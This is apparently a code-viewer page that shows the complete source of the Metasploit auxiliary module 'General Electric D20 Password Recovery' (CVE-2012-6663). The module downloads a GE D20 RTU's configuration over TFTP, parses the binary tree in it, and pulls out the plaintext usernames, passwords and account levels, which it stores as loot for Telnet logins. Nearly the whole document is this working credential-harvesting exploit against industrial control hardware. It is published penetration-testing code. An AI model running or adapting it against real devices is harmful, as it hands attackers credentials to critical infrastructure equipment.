Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/d20pass.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# This module grabs the device configuration from a GE D20M* RTU and7# parses the usernames and passwords from it.8##91011class MetasploitModule < Msf::Auxiliary12include Rex::Ui::Text13include Rex::Proto::TFTP14include Msf::Exploit::Remote::Udp15include Msf::Auxiliary::Report1617def initialize(info = {})18super(update_info(info,19'Name' => 'General Electric D20 Password Recovery',20'Description' => %q{21The General Electric D20ME and possibly other units (D200?) feature22TFTP readable configurations with plaintext passwords. This module23retrieves the username, password, and authentication level list.24},25'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],26'License' => MSF_LICENSE,27'References' =>28[29['CVE', '2012-6663'],30],31'DisclosureDate' => '2012-01-19'32))3334register_options(35[36Opt::RPORT(69),37Opt::RHOST('192.168.255.1'),38OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])39])40end4142def setup43@rhost = datastore['RHOST']44@rport = datastore['RPORT'] || 6945@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))46@lhost = datastore['LHOST'] || "0.0.0.0"47@rfile = datastore['REMOTE_CONFIG_NAME']48end4950def cleanup51if @tftp_client and @tftp_client.respond_to? :complete52while not @tftp_client.complete53select(nil,nil,nil,1)54vprint_status "Cleaning up the TFTP client ports and threads."55@tftp_client.stop56end57end58end5960def rtarget(ip=nil)61if (ip or rhost) and rport62[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "63elsif (ip or rhost)64rhost65else66""67end68end6970# Retrieve the file71def retrieve72print_status("Retrieving file")73@tftp_client = Rex::Proto::TFTP::Client.new(74"LocalHost" => @lhost,75"LocalPort" => @lport,76"PeerHost" => @rhost,77"PeerPort" => @rport,78"RemoteFile" => @rfile,79"Action" => :download80)81@tftp_client.send_read_request { |msg| print_tftp_status(msg) }82@tftp_client.threads do |thread|83thread.join84end85# Wait for GET to finish86while not @tftp_client.complete87select(nil, nil, nil, 0.1)88end89fh = @tftp_client.recv_tempfile90return fh91end9293# Builds a big-endian word94def makeword(bytestr)95return bytestr.unpack("n")[0]96end97# builds abi98def makelong(bytestr)99return bytestr.unpack("N")[0]100end101102# Returns a pointer. We re-base the pointer103# so that it may be used as a file pointer.104# In the D20 memory, the file is located in flat105# memory at 0x00800000.106def makefptr(bytestr)107ptr = makelong(bytestr)108ptr = ptr - 0x00800000109return ptr110end111112# Build a string out of the file. Assumes that the string is113# null-terminated. This will be the case in the D20 Username114# and Password fields.115def makestr(f, strptr)116f.seek(strptr)117str = ""118b = f.read(1)119if b != 0120str = str + b121end122while b != "\000"123b = f.read(1)124if b != "\000"125str = str + b126end127end128return str129end130131# configuration section names in the file are always132# 8 bytes. Sometimes they are null-terminated strings,133# but not always, so I use this silly helper function.134def getname(f, entryptr)135f.seek(entryptr + 12) # three ptrs then name136str = f.read(8)137return str138end139140def leftchild(f, entryptr)141f.seek(entryptr + 4)142ptr = f.read(4)143return makefptr(ptr)144end145146def rightchild(f, entryptr)147f.seek(entryptr + 8)148ptr = f.read(4)149return makefptr(ptr)150end151152# find the entry in the configuration file.153# the file is a binary tree, with pointers to parent, left, right154# stored as 32-bit big-endian values.155# sorry for depth-first recursion156def findentry(f, name, start)157f.seek(start)158myname = getname(f, start)159if name == myname160return start161end162left = leftchild(f, start)163right = rightchild(f, start)164if name < myname165if left < f.stat.size and left != 0166res = findentry(f, name, leftchild(f, start))167else168res = nil # this should perolate up169end170end171if name > myname172if right < f.stat.size and right != 0173res = findentry(f, name, rightchild(f, start))174else175res = nil176end177end178return res179end180181def report_cred(opts)182service_data = {183address: opts[:ip],184port: opts[:port],185service_name: opts[:service_name],186protocol: 'tcp',187workspace_id: myworkspace_id188}189190credential_data = {191origin_type: :service,192module_fullname: fullname,193username: opts[:user],194private_data: opts[:password],195private_type: :password196}.merge(service_data)197198login_data = {199core: create_credential(credential_data),200status: Metasploit::Model::Login::Status::UNTRIED,201proof: opts[:proof]202}.merge(service_data)203204create_credential_login(login_data)205end206207# Parse the usernames, passwords, and security levels from the config208# It's a little ugly (lots of hard-coded offsets).209# The userdata starts at an offset dictated by the B014USERS config210# offset 0x14 (20) bytes. The rest is all about skipping past the211# section header.212def parseusers(f, userentryptr)213f.seek(userentryptr + 0x14)214dstart = makefptr(f.read(4))215f.seek(userentryptr + 0x1C)216numentries = makelong(f.read(4))217f.seek(userentryptr + 0x60)218headerlen = makeword(f.read(2))219f.seek(userentryptr + 40) # sorry decimal220entrylen = makeword(f.read(2)) # sorry this is decimal221logins = Rex::Text::Table.new(222'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",223'Indent' => 1,224'Columns' => ["Type", "User Name", "Password"])2252260.upto(numentries -1).each do |i|227f.seek(dstart + headerlen + i * entrylen)228accounttype = makeword(f.read(2))229f.seek(dstart + headerlen + i * entrylen + 2)230accountname = makestr(f, dstart + headerlen + i * entrylen + 2)231f.seek(dstart + headerlen + i * entrylen + 2 + 22)232accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)233if accountname.size + accountpass.size > 44234print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")235break236end237logins << [accounttype, accountname, accountpass]238report_cred(239ip: datastore['RHOST'],240port: 23,241service_name: 'telnet',242user: accountname,243password: accountpass,244proof: accounttype245)246end247if not logins.rows.empty?248loot = store_loot(249"d20.user.creds",250"text/csv",251datastore['RHOST'],252logins.to_s,253"d20_user_creds.txt",254"General Electric TELNET User Credentials",255datastore['RPORT']256)257print_line logins.to_s258print_status("Loot stored in: #{loot}")259else260print_error("No data collected")261end262end263264def parse(fh)265print_status("Parsing file")266File.open(fh.path, 'rb') do |f|267used = f.read(4)268if used != "USED"269print_error "Invalid Configuration File!"270return271end272f.seek(0x38)273start = makefptr(f.read(4))274userptr = findentry(f, "B014USER", start)275if userptr != nil276parseusers(f, userptr)277else278print_error "Error finding the user table in the configuration."279end280end281end282283def run284fh = retrieve285parse(fh)286end287288def print_tftp_status(msg)289case msg290when /Aborting/, /errors.$/291print_error [rtarget,msg].join292when /^WRQ accepted/, /^Sending/, /complete!$/293print_good [rtarget,msg].join294else295vprint_status [rtarget,msg].join296end297end298end299300301